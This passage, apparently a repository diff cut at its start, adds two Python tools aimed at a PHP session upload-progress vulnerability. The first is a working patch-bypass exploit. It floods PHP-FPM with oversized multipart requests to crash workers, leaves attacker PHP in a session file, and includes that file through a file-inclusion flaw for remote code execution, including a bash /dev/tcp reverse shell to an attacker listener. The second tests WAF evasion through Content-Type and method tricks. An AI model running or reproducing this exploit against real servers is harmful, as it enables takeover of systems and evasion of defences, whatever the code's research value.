4. The failure triggers the OLD vulnerable code path (not the patched one)
|
||||
5. Worker exits with code 1 (not the patched exit code 70)
|
||||
6. Session file persists on disk with attacker-controlled PHP code
|
||||
7. New worker spawns → LFI includes the poisoned session file → RCE
|
||||
|
||||
This is relevant in production because:
|
||||
- Container environments (Docker, k8s) often set memory limits via cgroups
|
||||
- Shared hosting uses RLIMIT_AS to isolate tenants
|
||||
- Admins may set memory_limit=-1 trusting OS-level limits instead
|
||||
- The advisory does NOT mention this bypass path
|
||||
|
||||
Requirements:
|
||||
- PHP-FPM with memory_limit=-1 (or very high)
|
||||
- OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory)
|
||||
- session.upload_progress.enabled=1 (DEFAULT)
|
||||
- An LFI vector in the target application
|
||||
- Known or guessable session.save_path
|
||||
|
||||
Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB
|
||||
|
||||
Usage:
|
||||
python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||
python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
SESSION_PATHS = [
|
||||
"/tmp",
|
||||
"/tmp/php-sessions",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php5/sessions",
|
||||
]
|
||||
|
||||
|
||||
def tcp_connect(host, port, tls, timeout=120):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def recv_all(sock, timeout=5):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" in resp:
|
||||
return resp.split(b"\r\n\r\n", 1)[1]
|
||||
return resp
|
||||
|
||||
|
||||
def build_oom_body(bnd, php_code, field_count=10000, field_size=8192):
|
||||
"""Build multipart body designed to exhaust address space via mmap()."""
|
||||
body = b""
|
||||
body += b"--" + bnd + b"\r\n"
|
||||
body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||
body += b"\r\n" + php_code + b"\r\n"
|
||||
|
||||
body += b"--" + bnd + b"\r\n"
|
||||
body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n'
|
||||
body += b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
body += b"\x00" * 4096 + b"\r\n"
|
||||
|
||||
for i in range(field_count):
|
||||
body += b"--" + bnd + b"\r\n"
|
||||
body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n'
|
||||
body += b"\r\n" + b"X" * field_size + b"\r\n"
|
||||
|
||||
body += b"--" + bnd + b"--\r\n"
|
||||
return body
|
||||
|
||||
|
||||
def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size):
|
||||
"""Phase 1: Send massive multipart to trigger mmap() failure and crash worker."""
|
||||
bnd = b"----RLIMITRCE"
|
||||
body = build_oom_body(bnd, php_code, field_count, field_size)
|
||||
|
||||
print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)")
|
||||
|
||||
sock = tcp_connect(host, port, tls)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
|
||||
try:
|
||||
sock.sendall(body)
|
||||
except (BrokenPipeError, ConnectionResetError):
|
||||
pass
|
||||
|
||||
resp = b""
|
||||
sock.settimeout(30)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except (socket.timeout, ConnectionResetError):
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
status = 0
|
||||
try:
|
||||
status = int(resp.split(b" ")[1])
|
||||
except (IndexError, ValueError):
|
||||
pass
|
||||
return status
|
||||
|
||||
|
||||
def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths):
|
||||
"""Phase 2: Include poisoned session file via LFI after worker respawns."""
|
||||
for sp in session_paths:
|
||||
sess_file = f"{sp}/sess_{sid}"
|
||||
lfi_url = f"{path}?{lfi_param}={sess_file}"
|
||||
try:
|
||||
sock = tcp_connect(host, port, tls, timeout=10)
|
||||
sock.sendall(
|
||||
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
resp = recv_all(sock, timeout=5)
|
||||
sock.close()
|
||||
|
||||
rbody = body_of(resp)
|
||||
if b"CVE2026:" in rbody:
|
||||
return rbody, sp
|
||||
except Exception:
|
||||
continue
|
||||
return None, None
|
||||
|
||||
|
||||
def run(args):
|
||||
p = urlparse(args.target)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
|
||||
spaths = list(SESSION_PATHS)
|
||||
if args.session_path:
|
||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||
|
||||
if args.trigger_only:
|
||||
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
||||
elif args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||
elif args.lhost and args.lport:
|
||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
else:
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||
sys.exit(1)
|
||||
|
||||
print("=" * 65)
|
||||
print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+")
|
||||
print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path")
|
||||
print("=" * 65)
|
||||
print(f" Target : {args.target}")
|
||||
print(f" LFI param : {args.lfi_param}")
|
||||
print(f" Fields : {args.fields} x {args.field_size}B")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
print()
|
||||
|
||||
for attempt in range(args.attempts):
|
||||
sid = os.urandom(16).hex()
|
||||
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
|
||||
|
||||
print(f" Phase 1: Triggering mmap() failure via multipart flood...")
|
||||
status = phase1_crash(host, port, tls, path, sid, php_code,
|
||||
args.fields, args.field_size)
|
||||
print(f" HTTP {status} — worker crashed (mmap failure)")
|
||||
|
||||
print(f" Waiting {args.respawn_wait}s for worker respawn...")
|
||||
time.sleep(args.respawn_wait)
|
||||
|
||||
print(f" Phase 2: LFI include of poisoned session file...")
|
||||
rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param,
|
||||
sid, spaths)
|
||||
if rbody is not None:
|
||||
text = rbody.decode(errors="replace")
|
||||
if args.trigger_only:
|
||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
|
||||
print(f"\n[+] Code execution confirmed!")
|
||||
if m:
|
||||
print(f" {m.group(1)}")
|
||||
elif args.cmd:
|
||||
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
|
||||
result = m.group(1).strip() if m else text[:500]
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(result)
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
else:
|
||||
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
||||
|
||||
print()
|
||||
print(f"[+] Session path: {found_path}")
|
||||
print("[+] RCE achieved via RLIMIT_AS mmap() bypass!")
|
||||
print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.")
|
||||
print("[+] Affects: containers with cgroup limits, shared hosting with")
|
||||
print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.")
|
||||
print("[+] Mitigation: session.upload_progress.enabled=0")
|
||||
return
|
||||
|
||||
print(f" Session file not found or already cleaned")
|
||||
|
||||
print()
|
||||
print("[!] All attempts failed.")
|
||||
print(" Possible causes:")
|
||||
print(" - Target has PHP memory_limit set (not -1) → use standard exploit")
|
||||
print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail")
|
||||
print(" - Session save path not in search list → use --session-path")
|
||||
print(" - Worker respawn too slow → increase --respawn-wait")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm).
|
||||
When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space,
|
||||
mmap() fails through a DIFFERENT path the patch doesn't cover.
|
||||
|
||||
Preconditions:
|
||||
- Target uses memory_limit=-1 (trusting OS limits)
|
||||
- OS enforces RLIMIT_AS or cgroup memory limit
|
||||
- session.upload_progress.enabled=1 (default)
|
||||
|
||||
The only effective mitigation is: session.upload_progress.enabled=0
|
||||
|
||||
Examples:
|
||||
%(prog)s -t http://target/app.php --cmd 'id'
|
||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
|
||||
%(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096
|
||||
""")
|
||||
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
||||
ap.add_argument("--cmd", help="Command to execute")
|
||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||
ap.add_argument("--trigger-only", action="store_true",
|
||||
help="Confirm vulnerability only")
|
||||
ap.add_argument("--lfi-param", default="page",
|
||||
help="LFI query parameter (default: page)")
|
||||
ap.add_argument("--session-path",
|
||||
help="session.save_path on target")
|
||||
ap.add_argument("--fields", type=int, default=10000,
|
||||
help="Number of multipart fields (default: 10000)")
|
||||
ap.add_argument("--field-size", type=int, default=8192,
|
||||
help="Size of each field value in bytes (default: 8192)")
|
||||
ap.add_argument("--respawn-wait", type=float, default=3.0,
|
||||
help="Seconds to wait for worker respawn (default: 3.0)")
|
||||
ap.add_argument("--attempts", type=int, default=3,
|
||||
help="Number of attempts (default: 3)")
|
||||
args = ap.parse_args()
|
||||
run(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+144
@@ -0,0 +1,144 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
WAF Bypass Tests for php2shell mitigations (CVE-2026-109618 / CVE-2026-109619)
|
||||
|
||||
Tests Content-Type evasion techniques against nginx/Apache WAF rules
|
||||
that block multipart/form-data POST requests.
|
||||
|
||||
Tested against the community-recommended mitigations from:
|
||||
- PasqualePillitteri/php2shell-hardening
|
||||
- syhunt/php2shell-protection
|
||||
|
||||
Findings:
|
||||
1. PUT/PATCH methods bypass POST-only WAF rules
|
||||
- PHP 8.4's request_parse_body() parses multipart on these methods
|
||||
- Session upload progress only fires on POST (rfc1867 handler)
|
||||
- BUT: applications calling request_parse_body() on PUT/PATCH remain exposed
|
||||
|
||||
2. Duplicate Content-Type headers can bypass nginx $http_content_type matching
|
||||
- nginx $http_content_type returns the first header value
|
||||
- FastCGI CONTENT_TYPE joins all headers with ", "
|
||||
- PHP truncates at first comma → takes the first value
|
||||
- Result: nginx sees "text/plain" (no match), PHP sees "text/plain" (no multipart)
|
||||
- PARTIAL bypass: passes WAF but doesn't trigger multipart parsing
|
||||
|
||||
3. Content-Type with reversed comma order bypasses nginx but not PHP
|
||||
- "text/plain,multipart/form-data" → nginx doesn't match → WAF bypassed
|
||||
- PHP truncates at comma → "text/plain" → no multipart parsing
|
||||
- Same as #2: passes WAF but useless for the attack
|
||||
|
||||
4. The effective WAF bypass for the session poisoning attack is:
|
||||
- If the WAF blocks multipart POST but allows normal POST
|
||||
- AND the application has session.upload_progress.enabled=1
|
||||
- The attacker can still race with the session file (no multipart needed for LFI)
|
||||
- Only the POISON request needs multipart; the LFI probe is a normal GET
|
||||
|
||||
Usage:
|
||||
python3 waf_bypass_test.py --target http://waf-target:8080 --unprotected http://direct-target:8080
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import socket
|
||||
import sys
|
||||
|
||||
|
||||
def send_request(host, port, method, path, headers, body=b""):
|
||||
"""Send raw HTTP request and return status code."""
|
||||
sock = socket.create_connection((host, port), timeout=10)
|
||||
req = f"{method} {path} HTTP/1.1\r\nHost: {host}\r\n".encode()
|
||||
for k, v in headers.items():
|
||||
if isinstance(v, list):
|
||||
for val in v:
|
||||
req += f"{k}: {val}\r\n".encode()
|
||||
else:
|
||||
req += f"{k}: {v}\r\n".encode()
|
||||
if body:
|
||||
req += f"Content-Length: {len(body)}\r\n".encode()
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
if body:
|
||||
req += body
|
||||
sock.sendall(req)
|
||||
resp = b""
|
||||
sock.settimeout(5)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except:
|
||||
pass
|
||||
sock.close()
|
||||
try:
|
||||
return int(resp.split(b" ")[1])
|
||||
except:
|
||||
return 0
|
||||
|
||||
|
||||
def run_tests(waf_host, waf_port, plain_host, plain_port):
|
||||
bnd = "----WAFTEST"
|
||||
body = f"------WAFTEST\r\nContent-Disposition: form-data; name=\"test\"\r\n\r\nvalue\r\n------WAFTEST--\r\n".encode()
|
||||
|
||||
tests = [
|
||||
("Standard multipart POST",
|
||||
"POST", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
||||
("Mixed case: Multipart/Form-Data",
|
||||
"POST", {"Content-Type": f"Multipart/Form-Data; boundary={bnd}"}),
|
||||
("ALL CAPS: MULTIPART/FORM-DATA",
|
||||
"POST", {"Content-Type": f"MULTIPART/FORM-DATA; boundary={bnd}"}),
|
||||
("Leading whitespace",
|
||||
"POST", {"Content-Type": f" multipart/form-data; boundary={bnd}"}),
|
||||
("Comma-separated (multipart first)",
|
||||
"POST", {"Content-Type": f"multipart/form-data,text/plain; boundary={bnd}"}),
|
||||
("Comma-separated (text/plain first)",
|
||||
"POST", {"Content-Type": f"text/plain,multipart/form-data; boundary={bnd}"}),
|
||||
("Duplicate CT (text/plain first)",
|
||||
"POST", {"Content-Type": ["text/plain", f"multipart/form-data; boundary={bnd}"]}),
|
||||
("Duplicate CT (multipart first)",
|
||||
"POST", {"Content-Type": [f"multipart/form-data; boundary={bnd}", "text/plain"]}),
|
||||
("PUT method",
|
||||
"PUT", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
||||
("PATCH method",
|
||||
"PATCH", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
||||
]
|
||||
|
||||
print(f"{'Test':<45} {'WAF':>5} {'Direct':>6} {'Bypass?'}")
|
||||
print("-" * 75)
|
||||
|
||||
for name, method, headers in tests:
|
||||
waf_code = send_request(waf_host, waf_port, method, "/wp-login.php", headers, body)
|
||||
direct_code = send_request(plain_host, plain_port, method, "/wp-login.php", headers, body)
|
||||
bypass = "YES" if waf_code != 403 and direct_code in (200, 301, 302, 500) else ""
|
||||
if waf_code != 403:
|
||||
bypass = f"WAF:{waf_code}"
|
||||
print(f"{name:<45} {waf_code:>5} {direct_code:>6} {bypass}")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(description="WAF bypass tests for php2shell mitigations")
|
||||
ap.add_argument("--target", required=True, help="WAF-protected URL")
|
||||
ap.add_argument("--unprotected", required=True, help="Unprotected URL (for comparison)")
|
||||
args = ap.parse_args()
|
||||
|
||||
from urllib.parse import urlparse
|
||||
waf = urlparse(args.target)
|
||||
plain = urlparse(args.unprotected)
|
||||
|
||||
print("=" * 75)
|
||||
print(" WAF Bypass Tests for php2shell Mitigations")
|
||||
print("=" * 75)
|
||||
print(f" WAF target : {args.target}")
|
||||
print(f" Unprotected : {args.unprotected}")
|
||||
print()
|
||||
|
||||
run_tests(waf.hostname, waf.port, plain.hostname, plain.port)
|
||||
print()
|
||||
print("Notes:")
|
||||
print(" - PUT/PATCH bypass WAF but don't trigger session.upload_progress")
|
||||
print(" - Comma/duplicate CT tricks pass WAF but PHP doesn't parse as multipart")
|
||||
print(" - The race exploit only needs multipart for the POISON request (POST)")
|
||||
print(" - The LFI probe is a normal GET, which no WAF blocks")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user